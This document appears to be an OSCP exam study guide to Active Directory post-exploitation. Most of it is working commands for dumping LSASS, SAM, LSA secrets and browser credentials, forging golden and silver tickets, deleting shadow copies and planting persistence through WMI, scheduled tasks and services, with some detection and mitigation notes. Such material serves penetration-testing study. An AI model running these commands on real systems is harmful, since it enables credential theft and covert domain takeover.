Post-Exploitation in AD
Table of Contents
- Post-Exploitation Methodology in AD
- Credential Harvesting
- Data Gathering
- Persistence Mechanisms in AD
- Lateral Movement Preparation
- OSCP Exam Post-Exploitation Checklist
1. Post-Exploitation Methodology in AD
The Post-Exploitation Mindset
Once you’ve gained initial access to a machine in an Active Directory domain, the post-exploitation phase is where you systematically maximize your foothold. The goal is not just to “own” one machine but to gather enough intelligence and credentials to move laterally toward Domain Admin and ultimately full domain compromise.
Methodology Framework
┌─────────────────────────────────────────────────────────────┐
│ POST-EXPLOITATION CYCLE │
│ │
│ 1. Stabilize Access → Ensure persistent shell/session │
│ ↓ │
│ 2. Enumerate Local → OS, users, groups, privileges │
│ ↓ │
│ 3. Harvest Credentials → LSASS, SAM, DPAPI, Registry │
│ ↓ │
│ 4. Gather Intelligence → Network, shares, tasks, data │
│ ↓ │
│ 5. Plan Next Move → Lateral movement targets │
│ ↓ │
│ 6. Establish Persistence → Backdoors, tickets, tasks │
│ ↓ │
│ 7. Pivot & Repeat → Next machine, higher privilege │
└─────────────────────────────────────────────────────────────┘
Step-by-Step Methodology
Phase 1: Stabilize and Verify Access
# Confirm who you are
whoami
whoami /priv
whoami /groups
# Check if you're a domain user
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Domain"
# Quick domain membership check
nltest /dsgetdc:domain_name
Phase 2: Immediate Credential Harvest
# If you have SYSTEM, immediately dump LSASS
# Method 1: Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Method 2: Procdump + Mimikatz (if Mimikatz can't inject directly)
procdump64.exe -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# Method 3: Comsvcs.dll technique (bypasses some AV)
rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump <lsass_pid> .\lsass.dmp full
Phase 3: Systematic Enumeration
# Local enumeration
net user
net localgroup administrators
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net view
net share
# Domain enumeration
dsquery user -limit 0
dsquery computer -limit 0
dsquery group -limit 0
Phase 4: Intelligence Gathering
# Network discovery
ipconfig /all
arp -a
route print
netstat -ano
# Share discovery
net share
Get-SmbConnection
Get-SmbShare
# Scheduled tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | Where-State -EQ Ready
# Services
Get-Service
sc query
Phase 5: Data Discovery
# Browser history and credentials
dir C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\ -Recurse -Filter "Login Data" 2>$null
dir C:\Users\*\AppData\Local\Microsoft\Edge\User Data\Default\ -Recurse -Filter "Login Data" 2>$null
# Document discovery
Get-ChildItem C:\Users\ -Include "*.docx","*.xlsx","*.pdf","*.txt" -Recurse -ErrorAction SilentlyContinue
# Clipboard (if GUI session)
Get-Clipboard
Phase 6: Plan and Execute Lateral Movement
# Test credentials against other machines
# Using Impacket from Kali
crackmapexec smb <target_subnet>/24 -u <user> -p <password> --shares
# Or use Pass-the-Hash
crackmapexec smb <target_subnet>/24 -u <user> -H <ntlm_hash>
2. Credential Harvesting
2.1 LSASS Dumping
Understanding LSASS
LSASS (Local Security Authority Subsystem Service) is the Windows process responsible for enforcing the security policy on the system. It verifies logins, creates access tokens, and generates audit logs. Critically, it stores authentication information in memory, including:
- Plaintext passwords (if WDigest is enabled)
- NTLM hashes
- Kerberos TGTs
- Credential blobs
Method 1: Mimikatz Direct Injection
# Load Mimikatz
mimikatz.exe
# Enable debug privilege (required for memory access)
mimikatz # privilege::debug
# Dump all logon sessions
mimikatz # sekurlsa::logonpasswords
# Dump specific module data
mimikatz # sekurlsa::wdigest # Plaintext passwords (if WDigest enabled)
mimikatz # sekurlsa::kerberos # Kerberos tickets
mimikatz # sekurlsa::tickets # All ticket types
mimikatz # sekurlsa::search # Search for specific credentials
# Extract and inject Kerberos tickets
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt <ticket.kirbi>
Method 2: Procdump + Mimikatz
# Step 1: Dump LSASS memory
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Step 2: Transfer dump to attack machine (if needed)
# Step 3: Analyze with Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
When to use this method:
- When Mimikatz direct injection is blocked by AV/EDR
- When you need to collect evidence for later analysis
- When working in a constrained environment
Method 3: Comsvcs.dll (Built-in Technique)
# Find LSASS PID
Get-Process lsass | Select-Object Id, ProcessName
# Create dump using built-in DLL
rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump <PID> C:\temp\lsass.dmp full
# Alternative: taskmgr method
tasklist /FI "IMAGENAME eq lsass.exe"
Advantages:
- Uses legitimate Windows binaries (LOLBins)
- May bypass some AV signatures
- No external tools required on target
Method 4: Invoke-Mimikatz (PowerShell)
# Import PowerSploit
Import-Module .\Invoke-Mimikatz.ps1
# Run with specific options
Invoke-Mimikatz -DumpCreds
# Specific module
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Method 5: RDPThief (RDP Credentials)
# When target has RDP sessions active
mimikatz # ts::multirdp
Detection Indicators for LSASS Dumping
| Event ID | Description | Detection Value |
|---|---|---|
| 10 | Process creation | Parent process spawning procdump, rundll32 with MiniDump |
| 4688 | Process creation | LSASS as target process for dump tools |
| 4663 | Handle requested | Read memory access to LSASS |
| 4673 | Special privileges | SeDebugPrivilege enabled |
| 2600 | Raw disk read | Volume shadow copy access |
Mitigation Strategies
| Mitigation | Description |
|---|---|
| Credential Guard | Virtualization-based security isolates LSASS |
| LSASS Protection | Windows Defender ATP LSASS protection |
| WDigest Disable | HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0 |
| LSA Protection | RunAsPPL registry value prevents injection |
| Restricted Admin Mode | Limits credential exposure in RDP |
2.2 SAM Database Extraction
Understanding SAM
The Security Account Manager (SAM) database stores local account password hashes. On domain-joined machines, the SAM contains local account hashes (not domain accounts). The SAM database is located at:
C:\Windows\System32\config\SAM
Method 1: Mimikatz SAM Extraction
# Direct SAM dump (requires SYSTEM)
mimikatz # lsadump::sam
# This extracts:
# - RID (Relative Identifier) for each local user
# - LM Hash (often empty on modern systems)
# - NTLM Hash
Method 2: Registry Hive Extraction
# Step 1: Extract the registry hives
# Need SAM, SECURITY, and SYSTEM hives
reg save HKLM\SAM C:\temp\SAM.hive
reg save HKLM\SECURITY C:\temp\SECURITY.hive
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
# Step 2: Transfer to attack machine
# Step 3: Use secretsdump.py
secretsdump.py -sam SAM.hive -security SECURITY.hive -system SYSTEM.hive LOCAL
# Or use Mimikatz
mimikatz # lsadump::sam /sam:SAM.hive /system:SYSTEM.hive
Method 3: Impacket secretsdump
# From Kali Linux
# Direct SAM dump via RPC
secretsdump.py -just-dc-ntlm <domain>/<user>:<password>@<target>
# SAM only
secretsdump.py -sam SAM.hive -system SYSTEM.hive LOCAL
What You Get from SAM
Example output:
mimikatz(python) # lsadump::sam
[*] Action : Dump SAM hashes (local account db)
SAM key : 1234567890abcdef1234567890abcdef
RID : 000001f4 (500)
User : Administrator
LM : <empty>
NTLM : e52cac67419a9a224a3b508d8206c5c9
RID : 000003e8 (1000)
User : jdoe
LM : <empty>
NTLM : 8846f7eaee8fb117ad06bdd830b7586b
OSCP Tip: SAM on Domain Controllers
On a Domain Controller, the SAM database also contains domain account hashes (not just local). This is why DC SAM extraction is particularly valuable.
2.3 DPAPI Secrets
Understanding DPAPI
Data Protection API (DPAPI) is a Windows API that provides data encryption services. Many applications use DPAPI to store sensitive data:
- Chrome/Edge browser passwords
- Windows Credential Vault
- Outlook stored credentials
- VPN client credentials
- Application-specific secrets
Chrome/Edge Password Extraction
# Chrome passwords are stored in:
# C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data
# Step 1: Copy the Login Data file
copy "C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData.db
# Step 2: Extract the DPAPI master key
# Located in:
# C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Local State
# Step 3: Use Mimikatz to decrypt
mimikatz # dpapi::chrome /in:"LoginData.db"
# For Edge:
mimikatz # dpapi::chrome /in:"LoginData.db" /edge
Windows Credential Vault
# List stored credentials
cmdkey /list
# Export all DPAPI credentials
mimikatz # dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\attribute_cache
# Dump specific credential
mimikatz # dpapi::cred /in:<credential_file>
Chrome Master Key Extraction
# The master key is encrypted with the user's DPAPI master key
# Mimikatz can handle the full chain:
mimikatz # dpapi::masterkey /in:"C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<MasterKeyGUID>"
# Then use the decrypted master key to decrypt Chrome data
mimikatz # dpapi::chrome /in:"LoginData.db" /masterkey:<decrypted_key>
Detection Indicators
| Event ID | Description |
|---|---|
| 4663 | Handle requested on credential files |
| 4660 | Object deleted (credential file access) |
| 11 | Credential manager activity |
2.4 Registry Hive Extraction
Critical Registry Hives
| Hive | Path | Contains |
|---|---|---|
| SAM | HKLM\SAM |
Local account hashes |
| SECURITY | HKLM\SECURITY |
LSA secrets, cached credentials |
| SYSTEM | HKLM\SYSTEM |
Boot key, hardware info |
| SOFTWARE | HKLM\SOFTWARE |
Installed software, configs |
Extraction Procedure
# Method 1: reg save (requires SYSTEM)
reg save HKLM\SAM C:\temp\SAM
reg save HKLM\SECURITY C:\temp\SECURITY
reg save HKLM\SYSTEM C:\temp\SYSTEM
reg save HKLM\SOFTWARE C:\temp\SOFTWARE
# Method 2: Direct file copy (if hives not locked)
copy C:\Windows\System32\config\SAM C:\temp\SAM
copy C:\Windows\System32\config\SECURITY C:\temp\SECURITY
copy C:\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Method 3: VSS (Volume Shadow Copy)
# If hives are locked, use shadow copy
vshadow.exe -nw -script=C:\temp\shadow.vbs
copy C:\ShadowCopy\Windows\System32\config\SAM C:\temp\SAM
Using Extracted Hives
# On Kali with Impacket
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
# Extract LSA secrets
mimikatz # lsadump::secrets /sam:SAM /security:SECURITY /system:SYSTEM
LSA Secrets
# LSA secrets contain:
# - Azure AD credentials
# - AutoAdminLogon passwords
# - DCOM passwords
# - IIS APPPOOL credentials
# - Service account passwords
mimikatz # lsadump::secrets
# Example output:
# $MACHINE.ACC
# : crypto key available !
# [00000003] : Primary:ClearText
# * Username : $MACHINE$
# * Domain : WORKGROUP
# * Password : <plaintext_password>
# DefaultPassword
# NL$KM
# DPAPI machine key
2.5 Cached Credentials
Understanding Credential Caching
Windows caches domain credentials locally to allow logon when the DC is unavailable. The number of cached credentials is configurable (default: 10 on modern systems).
Location and Configuration
# Registry location
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
# Check cached credentials count
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "CachedLogonsCount"
# Credential files
C:\Windows\System32\config\SECURITY (contains cached hashes)
Extraction with Mimikatz
# Dump cached credentials
mimikatz # lsadump::cache
# Full cache dump with all options
mimikatz # lsadump::cache /count:50
# Example output:
# * Domain : EXAMPLE
# * Cache the machine : EXAMPLEDC
#
# Administrator :
# $MACHINE.ACC : <machine_account_key>
# Boot Key : <boot_key>
# Count : 10
# 1 : Administrator
# CHistory : <encrypted_history>
# CHistoryBoot : <encrypted_boot>
# Username : Administrator
# NTHash : <ntlm_hash_if_decryptable>
Limitations
- Cached credentials are hashed with the machine account key
- Decryption requires the
$MACHINE.ACCsecret (from LSA secrets) - Modern Windows uses stronger caching algorithms
- Not all cached credentials are recoverable
Credential Harvesting Comparison Table
| Method | Privilege Required | What You Get | Reliability | Detection Risk |
|---|---|---|---|---|
| Mimikatz sekurlsa | SYSTEM | Plaintext, NTLM, Kerberos | High (if no mitigations) | High |
| Procdump + Mimikatz | SYSTEM | Same as above | High | Medium |
| SAM extraction | SYSTEM | Local NTLM hashes | Very High | Medium |
| DPAPI (Chrome) | User | Browser passwords | Medium | Low |
| Registry hives | SYSTEM | Local hashes, LSA secrets | High | Medium |
| Cached credentials | SYSTEM | Cached domain hashes | Low-Medium | Low |
| cmdkey /list | User | Stored credentials | Low | Very Low |
3. Data Gathering
3.1 User Enumeration
Local User Enumeration
# Basic user list
net user
# Detailed user info
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet
# Specific user details
net user <username>
# Check local administrators
net localgroup administrators
# All local groups and members
Get-LocalGroup | ForEach-Object {
Write-Host "=== $($_.Name) ==="
Get-LocalGroupMember -Name $_.Name
}
Domain User Enumeration
# All domain users
net user /domain
dsquery user -limit 0
# PowerShell (if available)
Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName, Enabled, LastLogonDate, PasswordLastSet, Description
# Specific user details
net user <username> /domain
Get-ADUser <username> -Properties *
# Users with specific attributes
Get-ADUser -Filter * -Properties * | Where-Object { $_.Description -match "admin|password|service" }
# Users never logged in
Get-ADUser -Filter * -Properties LastLogonDate | Where-Object { $_.LastLogonDate -eq $null }
# Disabled users (may contain old service accounts)
Get-ADUser -Filter * | Where-Object { $_.Enabled -eq $false }
Enum4linux (from Kali)
# Full user enumeration
enum4linux -a <target_ip>
# Users only
enum4linux -U <target_ip>
# With credentials
enum4linux -u <user> -p <password> -a <target_ip>
3.2 Group Enumeration
Local Groups
# List all local groups
net localgroup
# Members of specific group
net localgroup <group_name>
# All groups with members
Get-LocalGroup | ForEach-Object {
$members = Get-LocalGroupMember -Name $_.Name
Write-Host "=== $($_.Name) ==="
$members | Format-Table Name, ObjectClass
}
# Critical groups to check
net localgroup "Administrators"
net localgroup "Remote Desktop Users"
net localgroup "Distributed COM Users"
net localgroup "Backup Operators"
Domain Groups
# All domain groups
net group /domain
dsquery group -limit 0
# Members of critical groups
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Group Policy Creator Owners" /domain
net group "Schema Admins" /domain
net group "Account Operators" /domain
net group "Server Operators" /domain
# PowerShell detailed enumeration
Get-ADGroup -Filter * -Properties * | Select-Object Name, GroupCategory, GroupScope, Description
# Members of Domain Admins
Get-ADGroupMember -Identity "Domain Admins" -Recursive
# Nested group membership
Get-ADPrincipalGroupMembership -Identity <username>
Group Policy Analysis
# GPOs affecting the current machine
Get-GPResultantSetOfPolicy -Report RSoP.xml
# GPOs linked to the current OU
Get-GPO -All | Where-Object { $_.GpoStatus -ne 'AllSettingsDisabled' }
# Check for sensitive GPO configurations
Get-GPPreference -Report GPReport.xml
3.3 Share Enumeration
Local Share Discovery
# List local shares
net share
# PowerShell method
Get-SmbShare | Select-Object Name, Path, Description
# Check share permissions
Get-SmbShareAccess -Name <share_name>
# Access remote shares
net use \\target\share /user:<domain>\<user> <password>
dir \\target\share
Network Share Discovery
# From Kali - enumerate shares on target
crackmapexec smb <target> -u <user> -p <password> --shares
# List all shares with access levels
crackmapexec smb <target> -u <user> -p <password> --shares --spider
# Spider shares for interesting files
crackmapexec smb <target> -u <user> -p <password> --shares --spider --spider-depth 3 --pattern "password|admin|config|backup"
Enum4linux Share Discovery
# Share enumeration
enum4linux -S <target_ip>
# With authentication
enum4linux -u <user> -p <password> -S <target_ip>
Interesting Share Types
| Share Type | Default Path | Sensitivity |
|---|---|---|
| C$ | C:\ | Critical - Full disk access |
| ADMIN$ | C:\Windows\System32\spool\drivers\color | High - Remote execution |
| IPC$ | N/A | Medium - Named pipes |
| NETLOGON | %SYSROOT%\SysVol\sysvol\domain\scripts | High - Logon scripts |
| SYSVOL | %SYSROOT%\SysVol\sysvol | High - GPOs, scripts |
| Custom shares | Varies | Varies |
3.4 Scheduled Tasks, Services, Startup Items
Scheduled Tasks
# All scheduled tasks
schtasks /query /fo LIST /v
# Ready tasks only
schtasks /query /fo LIST /v | Select-String "Status" -Context 5,0
# PowerShell method
Get-ScheduledTask | Where-Object { $_.State -eq 'Ready' } | Select-Object TaskName, TaskPath, State, NextRunTime
# Task details
schtasks /query /TN "<task_name>" /fo LIST /v
# Check for tasks running as SYSTEM or Admin
Get-ScheduledTask | Where-Object { $_.Principal.UserId -match "S-1-5-18|Administrators" }
Services
# All services
Get-Service
# Services running as specific user
Get-Service | Where-Object { $_.Status -eq 'Running' }
# Service details
Get-WmiObject -Class Win32_Service | Select-Object Name, DisplayName, PathName, StartName, State
# Check for writable service paths (privilege escalation)
Get-WmiObject -Class Win32_Service | Where-Object {
$_.StartName -match 'LocalSystem|NetworkService|LocalService'
} | Select-Object Name, PathName, StartName
# Services with weak permissions
accesschk.exe -ucqv "<service_name>"
Startup Items
# Registry startup locations
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" *
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" *
# Startup folder
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp"
# Task scheduler startup tasks
Get-ScheduledTask | Where-Object { $_.Settings.StartWhenAvailable -eq $true }
3.5 Clipboard, Browser History, Document Discovery
Clipboard
# Current clipboard content
Get-Clipboard
# Clipboard history (Windows 10+)
# Requires GUI session - limited value in pentesting
Browser History
# Chrome history
Get-Content "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\History" -Raw |
Select-String "visit_url" -AllMatches |
ForEach-Object { $_.Matches.Value }
# Edge history
Get-Content "C:\Users\*\AppData\Local\Microsoft\Edge\User Data\Default\History" -Raw |
Select-String "url" -AllMatches
# Firefox places.sqlite
# Located in: C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\*.default\places.sqlite
Document Discovery
# Search for sensitive documents
Get-ChildItem C:\Users\ -Include "*.docx","*.xlsx","*.pdf","*.txt","*.csv","*.config","*.xml","*.json" -Recurse -ErrorAction SilentlyContinue |
Select-Object FullName, Length, LastWriteTime
# Search for files containing keywords
Get-ChildItem C:\Users\ -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "password|admin|secret|key|credential" -List |
Select-Object Path, Line
# Recently modified files
Get-ChildItem C:\Users\ -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) } |
Select-Object FullName, LastWriteTime, Length
# Specific file types often containing credentials
Get-ChildItem C:\ -Include "*.kdbx","*.cred","*.key","*.pfx","*.p12","*.pem" -Recurse -ErrorAction SilentlyContinue
OSCP Tip: Quick Data Gathering Script
# Save as quick_enum.ps1
Write-Host "=== SYSTEM INFO ===" -ForegroundColor Cyan
systeminfo
Write-Host "`n=== USERS ===" -ForegroundColor Cyan
net user
Write-Host "`n=== LOCAL ADMINS ===" -ForegroundColor Cyan
net localgroup administrators
Write-Host "`n=== SHARES ===" -ForegroundColor Cyan
net share
Write-Host "`n=== NETWORK ===" -ForegroundColor Cyan
ipconfig /all
arp -a
Write-Host "`n=== DOMAIN INFO ===" -ForegroundColor Cyan
nltest /dsgetdc:domain
net group "Domain Admins" /domain
Write-Host "`n=== SCHEDULED TASKS ===" -ForegroundColor Cyan
schtasks /query /fo LIST /v | Select-String "Task Name|Author|Run As User|Status" -Context 0,1
4. Persistence Mechanisms in AD
4.1 Golden/Silver Tickets for Persistence
Golden Tickets
Golden tickets are forged Kerberos TGTs (Ticket Granting Tickets) that provide persistent, undetectable access to the entire domain.
# Requirements:
# - KRBTGT account NTLM hash
# - Domain SID
# - Domain name
# Step 1: Get KRBTGT hash
mimikatz # lsadump::dcsync /user:krbtgt
# Step 2: Get domain SID
mimikatz # lsadump::lsa /inject /name:ccache
# Or from PowerShell:
(Get-ADDomain).DomainSID.Value
# Step 3: Create golden ticket
mimikatz # kerberos::golden /user:<username> /domain:<domain> /sid:<domain_sid> /krbtgt:<krbtgt_hash> /id:500 /startoffset:0 /endin:604800 /renewmax:10080 /ptt
# Parameters explained:
# /user - Username for the ticket
# /domain - Full domain name
# /sid - Domain SID
# /krbtgt - KRBTGT NTLM hash
# /id - User RID (500 = Administrator)
# /startoffset - Minutes before now to start
# /endin - Ticket lifetime in minutes (1 year = 525600)
# /renewmax - Max renewal time
# /ptt - Play to ticket (inject into current session)
# Step 4: Verify
klist tickets
Silver Tickets
Silver tickets are forged service tickets for specific services.
# Requirements:
# - Service account NTLM hash (not KRBTGT)
# - Domain SID
# - Service SPN
# Create silver ticket for SQL Server
mimikatz # kerberos::golden /user:<username> /domain:<domain> /sid:<domain_sid> /target:<dc.domain.local> /rc4:<service_hash> /service:MSSQLSvc /target:<dc.domain.local> /ptt
# Create silver ticket for CIFS (file share)
mimikatz # kerberos::golden /user:<username> /domain:<domain> /sid:<domain_sid> /target:<fileserver.domain.local> /rc4:<service_hash> /service:CIFS /target:<fileserver.domain.local> /ptt
# Access the service
dir \\fileserver.domain.local\share
Comparison: Golden vs Silver
| Feature | Golden Ticket | Silver Ticket |
|---|---|---|
| Requires | KRBTGT hash | Service account hash |
| Scope | Entire domain | Specific service |
| Detection | Harder (valid TGT) | Easier (service-specific) |
| Lifetime | Configurable (years) | Standard Kerberos lifetime |
| Use Case | Full domain persistence | Targeted persistence |
4.2 Shadow Copies Manipulation
Creating Shadow Copies
# Create shadow copy (requires admin)
vssadmin create shadow /for=C:
# List shadow copies
vssadmin list shadows
# Access shadow copy
dir \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\C$\
# Using PowerShell
Get-WmiObject -List Win32_ShadowCopy
(Get-WmiObject Win32_ShadowCopy).Install()
Deleting Shadow Copies (Anti-Forensics)
# Delete all shadow copies
vssadmin delete shadows /all /quiet
# Using wmic
wmic shadowcopy delete
# Using PowerShell
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }
OSCP Tip: Shadow Copies for Recovery
Shadow copies can be used to recover deleted files or access previous versions of SAM/NTDS.dit:
# List available shadow copies
Get-VolumeShadowCopy
# Access previous version of a file
Get-ItemProperty "C:\Windows\System32\config\SAM" -Stream "*:Zone.Identifier"
# Mount shadow copy
New-PSDrive -Name "SC" -PSProvider FileSystem -Root "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\"
4.3 WMI Event Subscriptions
Understanding WMI Persistence
WMI Event Subscriptions allow executing code when specific system events occur. This is a powerful persistence mechanism.
# Create persistent WMI event subscription
# This runs a payload every time a process starts
# Step 1: Create the event consumer (executable)
$consumer = Set-WmiInstance -Class __EventConsumer -Namespace root\subscription -Arguments `
@{Name="UpdateConsumer"; ExecutablePath="C:\Windows\Temp\payload.exe"}
# Step 2: Create the event filter
$filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments `
@{Name="UpdateFilter"; EventNamespace="root\cimv2"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance.__Class='Win32_Process'"; QueryLanguage="WQL"}
# Step 3: Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments `
@{Filter=$filter; Consumer=$consumer}
Detecting WMI Persistence
# List event consumers
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
# List event filters
Get-WmiObject -Namespace root\subscription -Class __EventFilter
# List bindings
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
# Remove persistence
Remove-WmiObject -InputObject $consumer
Remove-WmiObject -InputObject $filter
4.4 Scheduled Tasks and Services Persistence
Scheduled Task Persistence
# Create persistent scheduled task
schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /ru SYSTEM /rl highest /f
# PowerShell method
$action = New-ScheduledTaskAction -Execute "C:\Windows\Temp\payload.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "SystemUpdate" -Action $action -Trigger $trigger -Principal $principal -Force
Service Persistence
# Create persistent service
sc create MalService binPath= "C:\Windows\Temp\payload.exe" start= auto obj= LocalSystem
# PowerShell method
New-Service -Name "SystemService" -BinaryPathName "C:\Windows\Temp\payload.exe" -StartupType Automatic
5. Lateral Movement Preparation
From Post-Exploitation to Lateral Movement
┌──────────────────────────────────────────────────────────┐
│ POST-EXPLOITATION → LATERAL MOVEMENT │
│ │
│ Harvested Credentials: │
│ ├── NTLM Hashes → Pass-the-Hash │
│ ├── Plaintext Passwords → Direct Auth │
│ ├── Kerberos TGTs → Pass-the-Ticket │
│ └── Service Account Creds → Service Exploitation │
│ │
│ Intelligence Gathered: │
│ ├── Domain Structure → Attack Path Planning │
│ ├── User/Group Membership → Target Selection │
│ ├── Share Access → Data Exfil / Tool Staging │
│ └── Scheduled Tasks → Execution Opportunities │
│ │
│ Next Steps: │
│ ├── Identify high-value targets │
│ ├── Test credentials against multiple hosts │
│ ├── Select lateral movement technique │
│ └── Execute and repeat │
└──────────────────────────────────────────────────────────┘
Credential Testing Workflow
# Step 1: Test harvested credentials across the network
crackmapexec smb 10.0.0.0/24 -u <user> -H <ntlm_hash> --shares
# Step 2: Identify successful logons
# Step 3: Prioritize targets
# - Domain Controllers (highest value)
# - File servers (data access)
# - Admin workstations (credential access)
# - Servers with admin shares (C$, ADMIN$)
# Step 4: Select lateral movement technique
# - If password known: psexec.py, wmiexec.py
# - If only hash: psexec.py (PtH), wmiexec.py
# - If Kerberos ticket: ptt + any technique
Target Prioritization Matrix
| Target Type | Value | Likelihood | Priority |
|---|---|---|---|
| Domain Controller | Critical | Medium | 1 |
| Admin Workstation | High | High | 2 |
| File Server | High | Medium | 3 |
| SQL Server | Medium | Medium | 4 |
| Member Server | Low-Medium | High | 5 |
| Workstation | Low | High | 6 |
6. OSCP Exam Post-Exploitation Checklist
Immediate Actions (First 5 Minutes)
[ ] 1. Confirm access: whoami, whoami /priv
[ ] 2. Check privilege level: net localgroup administrators
[ ] 3. System info: systeminfo | findstr /B /C:"OS"
[ ] 4. Network info: ipconfig /all, arp -a
[ ] 5. Domain membership: nltest /dsgetdc:domain
Credential Harvesting (If SYSTEM)
[ ] 1. Mimikatz: sekurlsa::logonpasswords
[ ] 2. If Mimikatz fails: procdump + mimikatz
[ ] 3. SAM dump: lsadump::sam
[ ] 4. LSA secrets: lsadump::secrets
[ ] 5. Cached credentials: lsadump::cache
[ ] 6. Chrome passwords: dpapi::chrome
[ ] 7. cmdkey /list
Enumeration (All Access Levels)
[ ] 1. Local users: net user
[ ] 2. Local groups: net localgroup administrators
[ ] 3. Domain groups: net group "Domain Admins" /domain
[ ] 4. Shares: net share
[ ] 5. Network: ipconfig /all, arp -a, netstat -ano
[ ] 6. Scheduled tasks: schtasks /query /fo LIST /v
[ ] 7. Services: Get-Service, sc query
[ ] 8. Running processes: tasklist
Data Discovery
[ ] 1. Desktop files: dir C:\Users\*\Desktop
[ ] 2. Documents: dir C:\Users\*\Documents
[ ] 3. Downloads: dir C:\Users\*\Downloads
[ ] 4. Browser history (if applicable)
[ ] 5. Config files: dir C:\ -Include "*.config","*.xml","*.json" -Recurse
[ ] 6. Scripts: dir C:\Windows\System32\GroupPolicy\User\Scripts\
[ ] 7. Logon scripts: dir \\domain\SYSVOL\domain\scripts\
Lateral Movement Preparation
[ ] 1. Harvested credentials documented
[ ] 2. Network map updated with new targets
[ ] 3. High-value targets identified
[ ] 4. Lateral movement technique selected
[ ] 5. Tools staged on accessible share
Persistence (If Required)
[ ] 1. Backdoor account created (if DA)
[ ] 2. Scheduled task for re-entry
[ ] 3. Golden/Silver ticket (if KRBTGT obtained)
[ ] 4. Service persistence (if long-term needed)
OSCP-Specific Tips
- Always check for other users logged in - Their credentials may be in LSASS
- Check C$ and ADMIN$ shares - These are always available on Windows machines
- Look for unattended install files -
unattend.xml,sysprep.xml - Check for stored passwords in scripts - Logon scripts, scheduled task scripts
- Document everything - The OSCP report requires detailed evidence
- Time management - Don’t spend too long on one machine; pivot when stuck
- Use the OSCP cheat sheet - Keep common commands handy
Common Pitfalls
| Pitfall | Solution |
|---|---|
| Mimikatz fails on Windows 10+ | Use procdump method or Comsvcs.dll |
| Can’t access SAM hive | Ensure you have SYSTEM privilege |
| Shares not accessible | Check firewall, use different auth method |
| Credentials don’t work elsewhere | User may not have access to that machine |
| Too many false positives | Verify credentials before lateral movement |
| Missing domain context | Always check domain membership first |
This guide covers the essential post-exploitation techniques for OSCP Active Directory environments. Practice each technique in a lab environment before the exam.